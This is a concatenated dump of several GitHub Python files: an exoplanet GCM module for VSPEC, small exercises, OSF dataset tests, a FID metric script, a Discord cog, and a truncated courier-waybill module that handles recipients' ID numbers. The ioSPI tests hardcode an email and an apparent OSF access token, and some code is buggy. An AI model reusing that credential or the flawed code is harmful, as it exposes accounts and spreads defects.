@property\n def flat(self):\n \"\"\"\n Get a flat version of this variable to write to a binary file.\n\n Returns\n -------\n np.ndarray\n The flattened array.\n \"\"\"\n return np.concatenate([self.wind_u.flat,self.wind_v.flat],dtype='float32')\n\nclass Molecules:\n \"\"\"\n GCM Molecules container.\n \n Parameters\n ----------\n molecules : VSPEC.gcm.structure.Molecule\n The molecules that exist in the atmosphere.\n \n Attributes\n ----------\n molecules : VSPEC.gcm.structure.Molecule\n The molecules that exist in the atmosphere.\n \"\"\"\n def __init__(\n self,\n molecules:Tuple[Molecule]\n ):\n self.molecules = molecules\n @property\n def flat(self)->np.ndarray:\n \"\"\"\n 1D representation of the data.\n\n Returns\n -------\n np.ndarray\n The flattened data.\n \"\"\"\n return np.concatenate([mol.flat for mol in self.molecules],dtype='float32')\n @classmethod\n def _from_dict(cls,d:dict,shape:tuple):\n \"\"\"\n Create a `Molecules` object from a dictionary.\n\n Parameters\n ----------\n d : dict\n The dictionary describing the molecules.\n shape : tuple\n The shape of the GCM array.\n\n \"\"\"\n molecules = []\n for key, val in d.items():\n name = key\n value = u.Quantity(val)\n molecules.append(\n st.Molecule.constant(name,value,shape)\n )\n return cls(tuple(molecules))\n @classmethod\n def from_dict(cls,d:dict,shape:tuple):\n \"\"\"\n Create a `Molecules` object from a dictionary.\n\n Parameters\n ----------\n d : dict\n The dictionary describing the molecules.\n shape : tuple\n The shape of the GCM array.\n\n \"\"\"\n return cls._from_dict(d,shape)\n\nclass Aerosols:\n \"\"\"\n GCM Aerosols container.\n \n Parameters\n ----------\n aerosols : tuple of VSPEC.gcm.structure.Aerosol\n The aerosol abundances in the atmosphere.\n sizes : tuple of VSPEC.gcm.structure.AerosolSize\n The aerosol sizes in the atmosphere.\n \"\"\"\n def __init__(\n self,\n aerosols:Tuple[Aerosol],\n sizes:Tuple[AerosolSize]\n ):\n self.aerosols = aerosols\n self.sizes = sizes\n @property\n def flat(self)->np.ndarray:\n \"\"\"\n A flat representation of the array.\n\n Returns\n -------\n np.ndarray\n The flattened array.\n \"\"\"\n return np.concatenate([aero.flat for aero in self.aerosols]+[size.flat for size in self.sizes],dtype='float32')\n @classmethod\n def _from_dict(cls,d:dict,shape:tuple):\n \"\"\"\n Load an `Aerosols` object from a dictionary.\n\n Parameters\n ----------\n d : dict\n The dictionary describing the aerosols.\n shape : tuple\n The shape of the GCM array.\n \"\"\"\n aersols = []\n sizes = []\n for key,value in d.items():\n name = key\n abn = u.Quantity(value['abn'])\n size = u.Quantity(value['size'])\n aersols.append(st.Aerosol.constant(name,abn,shape))\n sizes.append(st.AerosolSize.constant(f'{name}_size',size,shape))\n @classmethod\n def from_dict(cls,d:dict,shape:tuple):\n \"\"\"\n Load an `Aerosols` object from a dictionary.\n\n Parameters\n ----------\n d : dict\n The dictionary describing the aerosols.\n shape : tuple\n The shape of the GCM array.\n \"\"\"\n return cls._from_dict(d,shape)\n\nclass Planet:\n \"\"\"\n A simple planet GCM.\n\n Parameters\n ----------\n wind : Winds\n The wind speeds in the GCM represented by a 2-component vector (U, V),\n where U is the West-to-East wind and V is the South-to-North wind.\n tsurf : st.SurfaceTemperature\n The surface temperature of the planet.\n psurf : st.SurfacePressure\n The surface pressure of the planet.\n albedo : st.Albedo\n The albedo of the planet's surface.\n emissivity : st.Emissivity\n The emissivity of the planet's surface.\n temperature : st.Temperature\n The temperature profile of the planet's atmosphere.\n pressure : st.Pressure\n The pressure profile of the planet's atmosphere.\n molecules : Molecules\n The molecules present in the planet's atmosphere.\n aerosols : Aerosols\n The aerosols present in the planet's atmosphere.\n\n Attributes\n ----------\n wind : Winds\n The wind speeds in the GCM.\n tsurf : st.SurfaceTemperature\n The surface temperature of the planet.\n psurf : st.SurfacePressure\n The surface pressure of the planet.\n albedo : st.Albedo\n The albedo of the planet's surface.\n emissivity : st.Emissivity\n The emissivity of the planet's surface.\n temperature : st.Temperature\n The temperature profile of the planet's atmosphere.\n pressure : st.Pressure\n The pressure profile of the planet's atmosphere.\n molecules : Molecules\n The molecules present in the planet's atmosphere.\n aerosols : Aerosols\n The aerosols present in the planet's atmosphere.\n\n Raises\n ------\n TypeError\n If the pressure attribute is not provided or is None.\n AssertionError\n If the shapes of the attributes are inconsistent.\n\n \"\"\"\n def __init__(\n self,\n wind:Winds,\n tsurf:st.SurfaceTemperature,\n psurf:st.SurfacePressure,\n albedo:st.Albedo,\n emissivity:st.Emissivity,\n temperature:st.Temperature,\n pressure:st.Pressure,\n molecules:Molecules,\n aerosols:Aerosols\n ):\n self.wind = wind\n self.tsurf = tsurf\n self.psurf = psurf\n self.albedo = albedo\n self.emissivity = emissivity\n self.temperature = temperature\n self.pressure = pressure\n self.molecules = molecules\n self.aerosols = aerosols\n self.validate()\n \n def validate(self):\n \"\"\"\n Validates the consistency of the planet's attributes.\n\n Raises\n ------\n TypeError\n If the pressure attribute is not provided or is None.\n AssertionError\n If the shapes of the attributes are inconsistent.\n \"\"\"\n\n if self.pressure is None:\n raise TypeError('pressure must be provided!')\n shape3d = self.pressure.shape\n shape2d = shape3d[1:]\n if self.wind is not None:\n assert self.wind.wind_u.shape == shape3d\n assert self.wind.wind_v.shape == shape3d\n assert self.psurf.shape == shape2d\n if self.tsurf is not None:\n assert self.tsurf.shape == shape2d\n if self.albedo is not None:\n assert self.albedo.shape == shape2d\n if self.emissivity is not None:\n assert self.emissivity.shape == shape2d\n if self.temperature is not None:\n assert self.temperature.shape == shape3d\n if self.molecules is not None:\n for molecule in self.molecules.molecules:\n assert molecule.shape == shape3d\n if self.aerosols is not None:\n for aerosol in self.aerosols.aerosols:\n assert aerosol.shape == shape3d\n for size in self.aerosols.sizes:\n assert size.shape == shape3d\n @property\n def shape(self)->Tuple[int,int,int]:\n \"\"\"\n Returns the shape of the planet's arrays (nlayers, nlon, lat).\n\n Returns\n -------\n shape : Tuple[int, int, int]\n The shape of the planet's arrays.\n \"\"\"\n\n nlayers,nlon,lat = self.pressure.shape\n return nlayers,nlon,lat\n @property\n def lons(self)->u.Quantity:\n \"\"\"\n Returns the longitudes of the planet's grid.\n\n Returns\n -------\n lons : u.Quantity\n The longitudes of the planet's grid.\n \"\"\"\n\n _,nlon,_ = self.shape\n return np.linspace(-180,180,nlon,endpoint=False)*u.deg\n @property\n def dlon(self)->u.Quantity:\n \"\"\"\n Returns the longitudinal grid spacing.\n\n Returns\n -------\n dlon : u.Quantity\n The longitudinal grid spacing.\n \"\"\"\n\n _,nlon,_ = self.shape\n return 360*u.deg / nlon\n @property\n def dlat(self)->u.Quantity:\n \"\"\"\n Returns the latitudinal grid spacing.\n\n Returns\n -------\n dlat : u.Quantity\n The latitudinal grid spacing.\n \"\"\"\n\n _,_,nlat = self.shape\n return 180*u.deg / nlat\n @property\n def lats(self)->u.Quantity:\n \"\"\"\n Returns the latitudes of the planet's grid.\n\n Returns\n -------\n lats : u.Quantity\n The latitudes of the planet's grid.\n \"\"\"\n\n _,_,nlat = self.shape\n return np.linspace(-90,90,nlat,endpoint=True)*u.deg\n @property\n def gcm_properties(self)->str:\n \"\"\"\n Constructs the string value of the PSG ```` parameter.\n\n Returns\n -------\n gcm_properties : str\n The value of the ```` parameter.\n \"\"\"\n\n nlayer,nlon,nlat = self.shape\n coords = f'{nlon},{nlat},{nlayer},-180.0,-90.0,{self.dlon.to_value(u.deg):.2f},{self.dlat.to_value(u.deg):.2f}'\n vars = []\n if self.wind is not None:\n vars.append('Winds')\n if self.tsurf is not None:\n vars.append(self.tsurf.name)\n vars.append(self.psurf.name)\n if self.albedo is not None:\n vars.append(self.albedo.name)\n if self.emissivity is not None:\n vars.append(self.emissivity.name)\n if self.temperature is not None:\n vars.append(self.temperature.name)\n vars.append(self.pressure.name)\n if self.molecules is not None:\n for molecule in self.molecules.molecules:\n vars.append(molecule.name)\n if self.aerosols is not None:\n for aerosol in self.aerosols.aerosols:\n vars.append(aerosol.name)\n for size in self.aerosols.sizes:\n vars.append(size.name)\n return f'{coords},{\",\".join(vars)}'\n @property\n def flat(self)->np.ndarray:\n \"\"\"\n Returns a flattened representation of the planet's data.\n\n Returns\n -------\n flat_data : np.ndarray\n A flattened representation of the planet's data.\n \"\"\"\n return np.concatenate([\n [] if self.wind is None else self.wind.flat,\n [] if self.tsurf is None else self.tsurf.flat,\n self.psurf.flat,\n [] if self.albedo is None else self.albedo.flat,\n [] if self.emissivity is None else self.emissivity.flat,\n [] if self.temperature is None else self.temperature.flat,\n self.pressure.flat,\n [] if self.molecules is None else self.molecules.flat,\n [] if self.aerosols is None else self.aerosols.flat\n ],dtype='float32')\n \n @property\n def psg_params(self)->dict:\n \"\"\"\n Returns a dictionary of PSG parameters representing the planet.\n\n Returns\n -------\n params : dict\n A dictionary of PSG parameters representing the planet.\n \"\"\"\n\n nlayers,_,_ = self.shape\n gases = [molec.name for molec in self.molecules.molecules]\n if self.aerosols is not None:\n aerosols = [aero.name for aero in self.aerosols.aerosols]\n else:\n aerosols = []\n gas_types = [f'HIT[{mtype[gas]}]' if isinstance(mtype[gas],int) else mtype[gas] for gas in gases]\n aerosol_types = [atype[aerosol] for aerosol in aerosols]\n gcm_params = self.gcm_properties\n params = {\n 'ATMOSPHERE-DESCRIPTION': 'Variable Star Phase CurvE (VSPEC) default GCM',\n 'ATMOSPHERE-STRUCTURE': 'Equilibrium',\n 'ATMOSPHERE-LAYERS': f'{nlayers}',\n 'ATMOSPHERE-NGAS': f'{len(gases)}',\n 'ATMOSPHERE-GAS': ','.join(gases),\n 'ATMOSPHERE-TYPE': ','.join(gas_types),\n 'ATMOSPHERE-ABUN': ','.join(['1']*len(gases)),\n 'ATMOSPHERE-UNIT': ','.join(['scl']*len(gases)),\n 'ATMOSPHERE-GCM-PARAMETERS': gcm_params\n }\n if len(aerosols) > 0:\n params.update({\n 'ATMOSPHERE-NAERO': f'{len(aerosols)}',\n 'ATMOSPHERE-AEROS': ','.join(aerosols),\n 'ATMOSPHERE-ATYPE': ','.join(aerosol_types),\n 'ATMOSPHERE-AABUN': ','.join(['1']*len(aerosols)),\n 'ATMOSPHERE-AUNIT': ','.join(['scl']*len(aerosols)),\n 'ATMOSPHERE-ASIZE': ','.join(['1']*len(aerosols)),\n 'ATMOSPHERE-ASUNI': ','.join(['scl']*len(aerosols))\n })\n return params\n @property\n def content(self)->bytes:\n \"\"\"\n Returns the content of the planet as a PSG-compatible bytes object.\n\n Returns\n -------\n content : bytes\n The content of the planet as a PSG-compatible bytes object.\n \"\"\"\n\n config = '\\n'.join([f'<{param}>{value}' for param,value in self.psg_params.items()])\n content = bytes(config,encoding='UTF-8')\n dat = self.flat.tobytes('C')\n return content + b'\\n' + dat + b''\n @classmethod\n def from_dict(cls,d:dict):\n \"\"\"\n Creates a `Planet` instance from a dictionary representation.\n\n Parameters\n ----------\n d : dict\n The dictionary representing the planet.\n\n Returns\n -------\n planet : Planet\n The `Planet` instance created from the dictionary.\n \"\"\"\n\n nlayer = int(d['shape']['nlayer'])\n nlon = int(d['shape']['nlon'])\n nlat = int(d['shape']['nlat'])\n shape2d = (nlon,nlat)\n shape3d = (nlayer,nlon,nlat)\n tsurf = st.SurfaceTemperature.from_map(\n shape=shape2d,\n epsilon=float(d['planet']['epsilon']),\n star_teff=u.Quantity(d['planet']['teff_star']),\n albedo=float(d['planet']['albedo']),\n r_star=u.Quantity(d['planet']['r_star']),\n r_orbit=u.Quantity(d['planet']['r_orbit'])\n )\n pressure = st.Pressure.from_limits(\n high=u.Quantity(d['planet']['pressure']['psurf']),\n low=u.Quantity(d['planet']['pressure']['ptop']),\n shape=shape3d\n )\n wind = Winds(\n wind_u=st.Wind.contant(\n name='U',value=u.Quantity(d['planet']['wind']['U']),shape=shape3d\n ),\n wind_v=st.Wind.contant(\n name='V',value=u.Quantity(d['planet']['wind']['V']),shape=shape3d\n )\n )\n psurf = st.SurfacePressure.from_pressure(pressure)\n albedo = st.Albedo.constant(\n val=u.Quantity(d['planet']['albedo']),shape=shape2d\n )\n emissivity = st.Emissivity.constant(\n val=u.Quantity(d['planet']['emissivity']),shape=shape2d\n )\n gamma = float(d['planet']['gamma'])\n temperature = st.Temperature.from_adiabat(gamma,tsurf,pressure)\n molecules = Molecules.from_dict(d['molecules'],shape3d)\n aerosols = None if d.get('aerosols',None) is None else Aerosols.from_dict(d['aerosols'],shape3d)\n return cls(\n wind=wind,\n tsurf=tsurf,\n psurf=psurf,\n albedo=albedo,\n emissivity=emissivity,\n temperature=temperature,\n pressure=pressure,\n molecules=molecules,\n aerosols=aerosols\n )\n\n","repo_name":"VSPEC-collab/VSPEC","sub_path":"VSPEC/gcm/planet.py","file_name":"planet.py","file_ext":"py","file_size_in_byte":16842,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"27257347028","text":"number_of_rows, number_of_columns = input().split()\n\nmatrix = list()\n\nfor row in range(int(number_of_rows)):\n matrix.append([])\n for column in range(int(number_of_columns)):\n current_palindrome = chr(row + 97) + chr(row + column + 97) + chr(row + 97)\n matrix[row].append(current_palindrome)\n\nfor element in matrix:\n print(*element, sep=\" \")\n","repo_name":"Moramarth/SoftUni-Python-Advanced-january-2023","sub_path":"multidimensional_lists/first_exercise_05_matrix_of_palindromes.py","file_name":"first_exercise_05_matrix_of_palindromes.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24885743430","text":"\"\"\"Unit tests for listing/uploading/downloading datasets on an OSF project.\n\nThese assume the tests are executed in a Conda environment and GitHub actions\nwhen tested non-locally.\n\"\"\"\n\nimport os\nimport random\nimport string\nimport subprocess\n\nimport pytest\n\nfrom ioSPI import datasets\n\n\n@pytest.fixture(autouse=True, scope=\"session\")\ndef setup():\n \"\"\"Set up for tests.\"\"\"\n print(\"Creating a test project for dataset\")\n project = datasets.OSFProject(\n username=\"ninamio78@gmail.com\",\n token=\"HBGGBOJcLYQfadEKIOyXJiLTum3ydXK4nGP3KmbkYUeBuYkZma9LPBSYennQn92gjP2NHn\",\n project_id=\"xbr2m\",\n osfclient_path=\"$CONDA/bin/\",\n )\n yield project\n\n\n@pytest.fixture(autouse=True, scope=\"session\")\ndef set_file_path():\n \"\"\"Set up a temporary text file path for upload.\n\n Set local_testing = True when testing locally, False if on GitHub.\n \"\"\"\n file_path = \"tests/data/\"\n local_testing = False\n if not local_testing:\n file_path = \"/home/runner/work/ioSPI/ioSPI/\" + file_path\n\n file_name = (\n \"test_upload-\"\n + \"\".join(random.choice(string.ascii_letters) for i in range(5))\n + \".txt\"\n )\n return file_path, file_name\n\n\n@pytest.fixture(autouse=True, scope=\"session\")\ndef create_test_file(set_file_path):\n \"\"\"Create a temporary text file for upload.\"\"\"\n with open(set_file_path[0] + set_file_path[1], \"w\") as f:\n f.write(\"Hello World!\")\n\n\ndef test_constructor_valid():\n \"\"\"Test the constructor.\"\"\"\n project = datasets.OSFProject(\n username=\"ninamio78@gmail.com\",\n token=\"HBGGBOJcLYQfadEKIOyXJiLTum3ydXK4nGP3KmbkYUeBuYkZma9LPBSYennQn92gjP2NHn\",\n )\n assert project.username is not None\n assert project.token is not None\n assert project.project_id is not None\n assert project.storage is not None\n\n\ndef test_constructor_invalid_because_no_username():\n \"\"\"Test if an error is raised when no username is provided to the constructor.\"\"\"\n with pytest.raises(TypeError):\n datasets.OSFProject(token=\"token\")\n\n\ndef test_constructor_invalid_because_no_token():\n \"\"\"Test if an error is raised when no token is provided to the constructor.\"\"\"\n with pytest.raises(TypeError):\n datasets.OSFProject(username=\"username\")\n\n\ndef test_upload_valid(setup, set_file_path):\n \"\"\"Test the upload method.\"\"\"\n setup.upload(set_file_path[0] + set_file_path[1], set_file_path[1])\n file_exists = False\n file_list = setup.ls()\n for line in file_list:\n file_exists = set_file_path[1] == line.split(\"/\")[1].strip()\n if file_exists:\n break\n\n assert file_exists\n subprocess.run(f\"rm {set_file_path[0]}{set_file_path[1]}\", shell=True, check=True)\n\n\ndef test_upload_invalid_because_no_local_path(setup):\n \"\"\"Test if an error is raised when no local_path is provided.\"\"\"\n with pytest.raises(TypeError):\n setup.upload(remote_path=\"remote_path\")\n\n\ndef test_upload_invalid_because_no_remote_path(setup):\n \"\"\"Test if an error is raised when no remote_path is provided.\"\"\"\n with pytest.raises(TypeError):\n setup.upload(local_path=\"local_path\")\n\n\ndef test_download_valid(setup, set_file_path):\n \"\"\"Test the download method.\"\"\"\n setup.download(set_file_path[1], set_file_path[0] + set_file_path[1])\n assert os.path.exists(set_file_path[0] + set_file_path[1])\n subprocess.run(f\"rm {set_file_path[0]}{set_file_path[1]}\", shell=True, check=True)\n\n\ndef test_download_invalid_because_no_remote_path(setup):\n \"\"\"Test if an error is raised when no remote_path is provided.\"\"\"\n with pytest.raises(TypeError):\n setup.download(local_path=\"local_path\")\n\n\ndef test_download_invalid_because_no_local_path(setup):\n \"\"\"Test if an error is raised when no local_path is provided.\"\"\"\n with pytest.raises(TypeError):\n setup.download(remote_path=\"remote_path\")\n\n\ndef test_remove_valid(setup, set_file_path):\n \"\"\"Test the remove method.\"\"\"\n setup.remove(set_file_path[1])\n file_exists = False\n file_list = setup.ls()\n for line in file_list:\n file_exists = set_file_path[1] == line.split(\"/\")[1].strip()\n if file_exists:\n break\n\n assert not file_exists\n\n\ndef test_remove_invalid_because_no_remote_path(setup):\n \"\"\"Test if an error is raised when no remote_path is provided.\"\"\"\n with pytest.raises(TypeError):\n setup.remove()\n","repo_name":"compSPI/ioSPI","sub_path":"tests/test_datasets.py","file_name":"test_datasets.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"649271276","text":"import cv2\nimport tqdm\nimport glob\nimport scipy\nimport torch\nimport torchvision\n\nimport numpy as np\n\n\nclass FidDataset(torch.utils.data.Dataset):\n\n def __init__(self, glob_string, image_size):\n self.data = glob_string\n self.image_size = image_size\n\n def __getitem__(self, index):\n path = self.data[index]\n image = cv2.imread(path)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n image = cv2.resize(image, self.image_size)\n image = torch.from_numpy(image).float().permute(2, 0, 1).contiguous() / 255\n\n return image\n\n def __len__(self):\n return self.data.__len__()\n\n\ndef get_inceptionv3_model():\n model = torchvision.models.inception_v3(pretrained=True, aux_logits=False)\n model.fc = torch.nn.Identity()\n\n return model\n\n\ndef frechet_inception_distance(real_stats, fake_stats):\n expected_value_real, covariance_matrix_real = real_stats\n expected_value_fake, covariance_matrix_fake = fake_stats\n cm_multiplication, _ = scipy.linalg.sqrtm(np.dot(covariance_matrix_real, covariance_matrix_fake), disp=False)\n fid = np.linalg.norm(expected_value_real - expected_value_fake,\n ord=2) + np.trace(covariance_matrix_real + covariance_matrix_fake - 2 * cm_multiplication)\n\n return fid\n\n\ndef calculate_statistics(paths, model, batch_size=10, device=\"cuda:0\", num_workers=0):\n dataset = FidDataset(paths, image_size=(299, 299))\n data_loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=num_workers)\n features = list()\n model.eval()\n with torch.no_grad():\n for batch in tqdm.tqdm(data_loader):\n batch = batch.to(device)\n output = model(batch)\n features.append(output.squeeze())\n\n features = torch.cat(features, dim=0).cpu().numpy()\n\n expected_value = np.mean(features, axis=0)\n covariance_matrix = np.cov(features, rowvar=False)\n\n return expected_value, covariance_matrix\n\n\nif __name__ == \"__main__\":\n real_images_path = glob.glob(\"/home/misha/datasets/20_WIDE_NUMAKT/20ZTV02_19_WIDE_NUMAKT/*/images/*.jpg\")\n fake_images_path = glob.glob(\"/home/misha/GANCourse/gen1/*.jpg\")\n device = \"cuda:0\"\n batch_size = 256\n num_workers = 0\n model = get_inceptionv3_model().to(device)\n real_stats = calculate_statistics(\n real_images_path, model, device=device, batch_size=batch_size, num_workers=num_workers)\n fake_stats = calculate_statistics(\n fake_images_path, model, device=device, batch_size=batch_size, num_workers=num_workers)\n fid = frechet_inception_distance(real_stats, fake_stats)\n print(fid)\n","repo_name":"mishazakharov/GAN","sub_path":"FID.py","file_name":"FID.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"943890831","text":"import json\n\nimport rumex\n\nexample_file = rumex.InputFile(\n text='''\n Name: One scenario, multiple examples\n\n Scenario: Multitude of arithmetics\n\n Given an integers and \n When is performed\n Then the result is \n\n Examples:\n\n | int_a | int_b | operation | result |\n +-------+-------+----------------+--------+\n | 1 | 1 | addition | 2 |\n | 1 | 0 | addition | 1 |\n | 1 | 1 | multiplication | 1 |\n | 1 | 0 | multiplication | 0 |\n\n\n Scenario: Step data can use variables as well\n\n Given integers:\n | number |\n +---------+\n | |\n | |\n\n When calculation is performed:\n \"\"\"\n {\"type\": \"\"}\n \"\"\"\n Then the result is \n\n Examples:\n\n | int_a | int_b | operation | result |\n +-------+-------+----------------+--------+\n | 1 | 1 | addition | 2 |\n | 1 | 0 | addition | 1 |\n | 1 | 1 | multiplication | 1 |\n | 1 | 0 | multiplication | 0 |\n ''',\n uri='in place file, just an example',\n)\n\nsteps = rumex.StepMapper()\n\n\nclass Context:\n\n def __init__(self):\n self.integers = None\n self.result = None\n\n\n@steps(r'integers (\\d+) and (\\d+)')\ndef store_integers_a(int_a: int, int_b: int, *, context: Context):\n context.integers = (int_a, int_b)\n\n\n@steps(r'addition is performed')\ndef add(*, context: Context):\n assert context.integers\n context.result = sum(context.integers)\n\n\n@steps(r'multiplication is performed')\ndef multiply(*, context: Context):\n assert context.integers\n int_a, int_b = context.integers\n context.result = int_a * int_b\n\n\n@steps(r'integers:')\ndef store_integers_b(*, context: Context, data):\n context.integers = (int(row['number']) for row in data)\n\n\n@steps(r'calculation')\ndef calculate(*, context: Context, data):\n dict(\n addition=add,\n multiplication=multiply,\n )[json.loads(data)['type']](context=context)\n\n\n@steps(r'the result is (\\d+)')\ndef check_result(expected_result: int, *, context: Context):\n assert context.result == expected_result\n\n\nrumex.run(\n files=[example_file],\n steps=steps,\n context_maker=Context,\n)\n","repo_name":"uigctaw/rumex","sub_path":"docs/examples/scenario_with_examples.py","file_name":"scenario_with_examples.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29185415350","text":"import random\r\n\r\nuser_score = 0\r\ncomp_score = 0\r\n\r\nchoice_list = [\"rock\", \"paper\", \"scissors\"]\r\n\r\n\r\ni = 1\r\nwhile i == 1:\r\n x = random.randint(0,2)\r\n\r\n num = int(input(\"Choose from the following options and enter a number: 0: rock, 1: paper, or 2: scissors? \"))\r\n\r\n print(\"Computer: \" + choice_list[x])\r\n print(\"User: \" + choice_list[num])\r\n \r\n if num == x:\r\n print(\"Draw!\")\r\n elif num == 0 and x==1 or num==1 and x==2 or num==2 and x==0:\r\n print(\"Computer wins.\")\r\n comp_score += 1\r\n else:\r\n print(\"User wins!!\")\r\n user_score += 1\r\n\r\n print(f\"User score: {user_score}\\nComputer score: {comp_score}\")\r\n i = int(input(\"Another game? Type 1 for 'yes' and 0 for 'no': \"))\r\n","repo_name":"kayleesg/Rock_Paper_Scissors_Game","sub_path":"rock_paper_scissors_game.py","file_name":"rock_paper_scissors_game.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9313395299","text":"import json\nimport os\nimport sys\n\nfrom discord.ext import commands\n\n# Only if you want to use variables that are in the config.json file.\nif not os.path.isfile(\"config.json\"):\n sys.exit(\"'config.json' not found! Please add it and try again.\")\nelse:\n with open(\"config.json\") as file:\n config = json.load(file)\n\nglobal question\nquestion = []\n# Here we name the cog and create a new class for the cog.\nclass Template(commands.Cog, name=\"template\"):\n def __init__(self, bot):\n self.bot = bot\n\n # @commands.command(name=\"question\")\n # async def question(self, ctx):\n # question.append(ctx.message.id)\n # print(question)\n\n # Here you can just add your own commands, you'll always need to provide \"self\" as first parameter.\n @commands.command(name=\"show\")\n async def testcommand(self, ctx):\n await ctx.send(\"Question List:\")\n print(self.bot.question)\n for message_id in self.bot.question:\n channel = ctx.message.channel\n message = await channel.fetch_message(message_id)\n print(message)\n users = set()\n for reaction in message.reactions:\n print(reaction)\n async for user in reaction.users():\n users.add(user)\n print(f\"users: {', '.join(user.name for user in users)}\")\n print(users)\n if \"WilliamMou\" in [user.name for user in users]:\n await ctx.send(message.content)\n\n\n\n# And then we finally add the cog to the bot so that it can load, unload, reload and use it's content.\ndef setup(bot):\n bot.add_cog(Template(bot))\n","repo_name":"William-Mou/sitcon-discored-bot","sub_path":"cogs/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8815008370","text":"# -*- coding: utf-8 -*\n\nfrom __future__ import absolute_import, unicode_literals\nfrom celery import shared_task\n\nfrom express.utils import *\nfrom addresses.models import *\nimport json\n\nfrom waybills.models import Waybill, CH_LIST_REQUIRED_PERSON_ID\nfrom waybills.tasks import *\n\n\n@shared_task\ndef notify_user_upload_person_info_final():\n # 建单时间超过一天还没传身份证的, 发最后一次短信通知\n succ_cnt = 0\n errs = []\n qs = Waybill.objects.filter(Q(person_id__exact=''), Q(create_dt__lt=timezone.now() - timezone.timedelta(days=1)),\n Q(status__name='已建单'), Q(sms_notify_times__lt=2))\n for w in qs:\n try:\n process_waybill_people(w)\n w = Waybill.objects.get(id=w.id)\n if not w.person_id:\n if w.sms_notify_times == 0:\n obj = send_sms_person_id_1(w.recv_mobile, w.recv_name, w.tracking_no)\n else:\n obj = send_sms_person_id_2(w.recv_mobile, w.recv_name, w.tracking_no)\n w.sms_notify_times += 1\n w.save()\n if obj['code'] == 0:\n succ_cnt += 1\n else:\n errs.append({'tracking': w.tracking_no, 'code': obj['code']})\n except Exception as e:\n errs.append({'tracking': w.tracking_no, 'code': e.message})\n return {'total': qs.count(), 'succ_cnt': succ_cnt, 'errors': errs}\n\n\n@shared_task\ndef notify_user_upload_person_info2(mobile, name, tracking_no):\n try:\n w = Waybill.objects.get(tracking_no=tracking_no)\n # 搜索系统看是否存在用户的身份证信息\n process_waybill_people(w)\n\n if not w.person_id:\n w.sms_notify_times += 1\n w.save()\n return send_sms_person_id_1(mobile, name, tracking_no)\n else:\n if w.channel.name in [CH19, CH23] and w.people and not w.people.id_card_front:\n w.sms_notify_times += 1\n w.save()\n return send_sms_upload_id_card(mobile, tracking_no, name)\n return None\n except:\n pass\n\n\ndef process_waybill_has_person_id(w):\n p = People.objects.filter(id_no=w.person_id).first()\n if p:\n w.people = p\n w.save()\n else:\n p = People.objects.create(name=w.recv_name, mobile=w.recv_mobile, id_no=w.person_id, status=1)\n w.people = p\n w.save()\n\n\ndef process_waybill_has_no_person_id(w):\n p = People.objects.filter(mobile=w.recv_mobile).filter(name=w.recv_name).first()\n if p:\n w.person_id = p.id_no\n w.people = p\n w.save()\n if w.status.name == '已建单':\n uploaded_person_id = WaybillStatusEntry.objects.get(name='已传身份证')\n WaybillStatus.objects.create(waybill=w, status=uploaded_person_id)\n try:\n wms_push_person_id.delay(w.tracking_no, w.recv_name, w.person_id, w.recv_mobile)\n except:\n pass\n\n\ndef process_waybill_people(w):\n if w.person_id:\n process_waybill_has_person_id(w)\n else:\n process_waybill_has_no_person_id(w)\n\n\ndef process_waybill_people_batch(in_no):\n qs = Waybill.objects.filter(in_no=in_no)\n for w in qs:\n process_waybill_people(w)\n\n\n@shared_task\ndef notify_user_upload_person_info2_batch2(in_no):\n # 先扫描一遍系统\n process_waybill_people_batch(in_no)\n\n # 筛选出需要发短信的\n succ_cnt = 0\n errs = []\n qs = Waybill.objects.filter(in_no=in_no).filter(\n Q(person_id__exact='') | Q(people__id_card_backside__isnull=True) | Q(people__id_card_backside__iexact=''))\n to_be_sent_new = {}\n to_be_sent_pic = {}\n for w in qs:\n if not w.person_id:\n to_be_sent_new[w.recv_mobile] = (w.recv_name, w.tracking_no)\n w.sms_notify_times += 1\n else:\n if w.channel.name in [CH19, CH23] and not w.people.id_card_front:\n to_be_sent_pic[w.recv_mobile] = (w.recv_name, w.tracking_no)\n w.sms_notify_times += 1\n w.save()\n\n for mobile in to_be_sent_new:\n name, tracking = to_be_sent_new[mobile][0], to_be_sent_new[mobile][1]\n try:\n send_sms_person_id_1(mobile, name, tracking)\n succ_cnt += 1\n except Exception as e:\n errs.append({'tracking': tracking, 'code': e.message})\n\n for mobile in to_be_sent_pic:\n name, tracking = to_be_sent_pic[mobile][0], to_be_sent_pic[mobile][1]\n try:\n send_sms_upload_id_card(mobile, tracking, name)\n succ_cnt += 1\n except Exception as e:\n errs.append({'tracking': tracking, 'code': e.message})\n\n return {'total': len(to_be_sent_new) + len(to_be_sent_pic), 'succ_cnt': succ_cnt, 'errors': errs}\n\n\ndef searchForPersonId(w):\n p = People.objects.filter(mobile=w.recv_mobile).filter(name=w.recv_name).first()\n if p:\n w.person_id = p.id_no\n w.people = p\n w.save()\n\n if w.status.name == '已建单':\n uploaded_person_id = WaybillStatusEntry.objects.get(name='已传身份证')\n WaybillStatus.objects.create(waybill=w, status=uploaded_person_id)\n try:\n wms_push_person_id.delay(w.tracking_no, w.recv_name, w.person_id, w.recv_mobile)\n except:\n pass\n return w\n\n\n@shared_task()\ndef notfiy_user_up_id_finish_packing(mobile, name, tracking_no):\n ''' to be deleted'''\n return send_sms4(mobile, name, tracking_no)\n\n\n@shared_task\ndef match_person_id():\n qs = Waybill.objects.filter(person_id__iexact='').filter(status__order_index=1)\n succ = match_person_helper(qs)\n qs2 = 